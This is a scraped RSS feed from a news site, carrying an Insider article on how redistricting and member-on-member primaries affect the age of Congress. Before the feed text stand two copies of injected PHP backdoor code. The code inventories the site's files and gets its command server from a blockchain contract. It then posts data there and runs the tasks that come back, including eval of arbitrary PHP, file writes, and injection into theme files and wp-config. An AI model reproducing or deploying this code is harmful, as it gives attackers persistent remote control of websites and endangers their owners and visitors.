// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); political – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 25 Sep 2022 11:28:55 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png political – Brief News https://briefnews.eu 32 32 Fights over political lines have fueled the aging of America’s government. But that may be changing. https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/ https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/#respond Sun, 25 Sep 2022 11:28:55 +0000 https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/ Illustration of a blue-colored old man drawing a redistricting line in the ground with his cane, next to other districted zones colored red

Marianne Ayala/Insider

  • Redistricting and fights over political lines have fueled the aging of America's government.  
  • More often than not, older members of Congress win in primaries between two incumbents.
  • But polarization and partisanship are enabling younger members to knock out their elders.
  • Read more from Insider's "Red, White, and Gray" series.

Every 10 years, a new US Census forces states to redraw their political maps through redistricting. Whenever a state loses a House seat in the process, incumbent members of Congress are forced to run against each other — and younger, less experienced incumbents often end up on the chopping block. 

An Insider analysis, based on data compiled by Bloomberg's Greg Giroux, found that in 20 incumbent-on-incumbent contests since 1992 where there was an age difference of at least two years between the candidates, 12 were won by the older member and eight by the younger member. 

The dynamics of member-on-member contests have favored older incumbents and reinforced the gerontocracy in American politics as we know it. Since the 1990s, the age of Congress has significantly increased compared to the baseline growth seen over the 20th century — and redistricting has only hastened that trend. 

"It doesn't surprise me that age would make a difference on the margins," Jamie Carson, a political scientist at the University of Georgia who studies congressional elections, told Insider of member-on-member races. "It brings a bit more experience, better fundraising prowess, and maybe they know the district better." 

The 2012 cycle, where the more senior representative won eight of 11 such contests following redistricting, was particularly brutal for younger incumbents. 

In New Jersey, then 75-year-old Bill Pascrell easily dispatched 59-year-old Democratic Rep. Steven Rothman by 22 points when the two ran in the same district in 2012. 

Fifty-year-old Rep. David Schweikert narrowly ousted the one-term 35-year-old Ben Quayle, the son of former Vice President Dan Quayle, in the Phoenix suburbs. Sixty-nine-year-old John Mica, who had served in Congress for nearly 20 years, knocked out 55-year-old Sandy Adams, who served one term, in suburban Central Florida. And 60-year-old Janice Hahn defeated fellow Democrat Laura Richardson, 50, in the general election for California's 44th District by a resounding 20 points.

Rep. Alex Mooney, left, and Rep. David McKinley, right
GOP Rep. Alex Mooney, left, and Rep. David McKinley, right, are facing off in a member-on-member primary in West Virginia.

AP Photo/Chris Tilley, File, AP Photo/J. Scott Applewhite, File

Youth movement — fueled by partisanship?

But that trend is changing. Accelerating partisanship and polarization, in particular, are shaking up the game — and increasingly empowering younger lawmakers to knock out their more senior rivals. 

In 2022, the 75-year-old, five-term Rep. David McKinley, a West Virginia Republican, had some key advantages on his side when reapportionment put him in the same district as 50-year-old Rep. Alex Mooney. 

McKinley, endorsed by both Virginia's Republican governor and its powerful Democratic senator, Joe Manchin, was able to tout his role in the passage of a landmark bipartisan infrastructure bill that provided much-needed funds for his state. But an endorsement from President Donald Trump and hundreds of thousands in outside spending from conservative groups boosted Mooney to win the day. 

Younger candidates have won four out of six member-on-member primaries of the 2022 cycle, though in one case, Rep. Jerry Nadler of New York, who's 75, was younger by just a few months than Democratic rival, Rep. Carolyn Maloney. And in the cases of the two older incumbents who came out on top in their races, age and tenure in Congress weren't the deciding factors.

Republican Rep. Adam Kinzinger of Illinois outside a January 6 committee hearing on June 13, 2022.
Republican Rep. Adam Kinzinger of Illinois outside a January 6 committee hearing on June 13, 2022.

Drew Angerer/Getty Images

State lawmakers have expertly wielded their redistricting pens to kneecap their opponents — and hurt younger candidates 

Over the decades, intentional partisan gerrymandering — and the inevitable reshuffling that comes along with states losing districts and redrawing their lines — have dashed many congressional careers and aspirations.

Partisan gerrymandering and internal party struggle over district lines can also prevent young candidates or candidates from diverse backgrounds from getting elected to Congress in the first place. 

"Wisconsin's 7th District is very gerrymandered, so that was already a challenge that, going in, I knew," Tricia Zunker, who ran as a Democrat in a special election in a rural, Republican-leaning north-central Wisconsin district in spring 2020, told Insider in an interview.

Partisan gerrymandering, the redrawing of political district lines to favor one political party over the other, has gotten increasingly tactical. State lawmakers, in addition to utilizing the process to kneecap the opposing party, also make strategic choices about which members of Congress to sacrifice. 

In 2002, Republican state lawmakers in Michigan, who then controlled the redistricting process, drew two Democrats into the same blue district to make the surrounding districts safer for their party, a gerrymandering tactic known as packing.

The new map put then 45-year-old Rep. Lynn Rivers in the same district as Rep. John Dingell, a scion of Michigan politics who still holds the mantle of the longest-serving member of Congress in history.

Rivers mounted a competitive challenge — but still lost the race by 18 points. And she's not the only one who saw her time in Congress come to an end after partisan gerrymandering pitted her against a colleague. 

After the 2020 Census, Republican lawmakers in Georgia took the opportunity to force out one of the two Democratic women who had won seats in the blue-trending Atlanta suburbs, pushing Reps. Lucy McBath and Carolyn Bourdeaux into the same safely Democratic district. 

In Illinois, which lost one House seat after 2020, a map drawn by Democrats in the state legislature pitted two sets of Republican incumbents against each other in northern and central Illinois. Rep. Rodney Davis lost to freshman Rep. Mary Miller in one of those races. In the other, Rep. Adam Kinzinger decided to retire rather than run against Rep. Darin LaHood. 

"Through a strategic lens, it's a chance to knock out an incumbent and make that seat more vulnerable," Carson, the political scientist, said of gerrymandering.

The game of political musical chairs set off by a state losing a seat in Congress can also box out young, upstart candidates hoping to break in. 

Lourin Hubbard, a 33-year-old water-quality-control manager in California's Central Valley, ran as a Democrat in a June 2022 special election after a top GOP representative, Devin Nunes, left Congress early to run the Trump Media & Technology Group, the company behind the former president's Truth Social platform.

Hubbard, who lost to the 71-year-old Republican Connie Conway, considered running for a full term in Congress. But California's new commission-drawn congressional map, which will fully take effect come January 2023, dissolves Nunes' old district and splits it up into four new ones — including one held by Democratic Rep. Jim Costa. 

Hubbard told Insider that local county Democrats discouraged him from running for a full term in Congress against Costa, who now holds a safely Democratic Fresno-based seat.     

The new map "created some tension and conflict" within the county Democratic Party. "And to avoid that conflict altogether, I was like, 'I'll just run in the special,'" he said. 

Democratic Rep. Andy Levin of Michigan at a press conference on Capitol Hill on February 9, 2022.
Democratic Rep. Andy Levin of Michigan at a press conference on Capitol Hill on February 9, 2022.

Bill Clark/CQ-Roll Call via Getty Images

Partisanship and parochial factors are shaking up member-on-member primaries

Incumbency is the best predictor of whether a candidate wins an election. 

Challengers, Carson noted, have the best shot at unseating incumbents if they have prior political experience, money, or are up against an incumbent with particular weaknesses or a scandal.

"Even if you don't like the incumbent, that's not enough," Ryan Williamson, a resident fellow for governance at the R Street Institute, a Washington DC-based policy think tank, told Insider. "You have to actively dislike the incumbent and mobilize around unseating them, which is a much higher burden."

But the rare contests where incumbents are pitted against each other are "idiosyncratic," Carson said, and don't follow predictable patterns — especially in the 2022 cycle.        

Two decades after the Dingell-Rivers race, another primary fight between two Michigan Democrats shows how partisanship and money can eclipse age, experience — and even membership in a political dynasty — in member-on-member races. 

Rep. Haley Stevens, 39, could have had an uphill battle against Rep. Andy Levin, 61, when he decided to run against her in her suburban Detroit district, which became more safely Democratic under new lines drawn by a citizen-led commission. 

Like Dingell in 1955, Levin took over the House seat held for decades by his father, Sander Levin, in the 2018 midterm elections, following both his father and his uncle, former Sen. Carl Levin, to Washington. 

But Levin took a risk by choosing to run in the safely blue 11th District instead of the more Republican 10th District where he lived, planting himself on largely unfamiliar turf where he represented just a quarter of the electorate. 

The explosion in outside campaign spending since 2002 has shaken up the dynamics of all House primaries and heavily factored into the 11th District contest. A slew of pro-Israel, women's, and progressive organizations poured over $ 9 million, $ 7.45 million of which benefited Stevens, into the race. Stevens ended up beating Levin by 20 points in August — overcoming both his seniority in age and the potency of his family name. 

Like in all House elections, money plays a significant role in member-on-member races. Older incumbents often have more money in the bank and more established fundraising networks from their years campaigning for elected office and, in some cases, greater personal wealth, candidates and experts told Insider. 

The candidate who spent the most money won four out of six member-on-member contests in 2022 and nine out of 11 contests in the 2012 cycle, according to an Insider analysis of campaign-finance records. 

"Every new midterm breaks the previous record, and a bulk of that money is going to flow to the most competitive primaries and general elections," Carson said, noting that "money is a necessary but not sufficient condition," particularly in member-on-member contests. 

State lawmakers have drawn incumbents together for political gain for decades, but the post-2020 redistricting cycle also saw many maps drawn by courts or independent commissions. Many of those commissions prioritized drawing competitive districts over protecting longtime incumbents, which blunted the advantage that some more tenured incumbents enjoyed. 

New York's court-drawn congressional map, resulting from a messy and protracted legal battle, pitted two longtime House Democrats and committee chairs, Nadler and Maloney, against each other in upper Manhattan.

That race, a clash of two septuagenarian titans of New York politics, was driven more by parochial forces than national ones, with The New York Times editorial board and the powerful Sen. Chuck Schumer throwing their support behind Nadler in the final stretch. 

As the Stevens-Levin race showed, the member of Congress representing most of the new district's constituents is generally favored in a matchup between two incumbents in the same seat. 

But in other races, like the Hahn-Richardson contest, a candidate who represented very little of their new territory came out on top.  

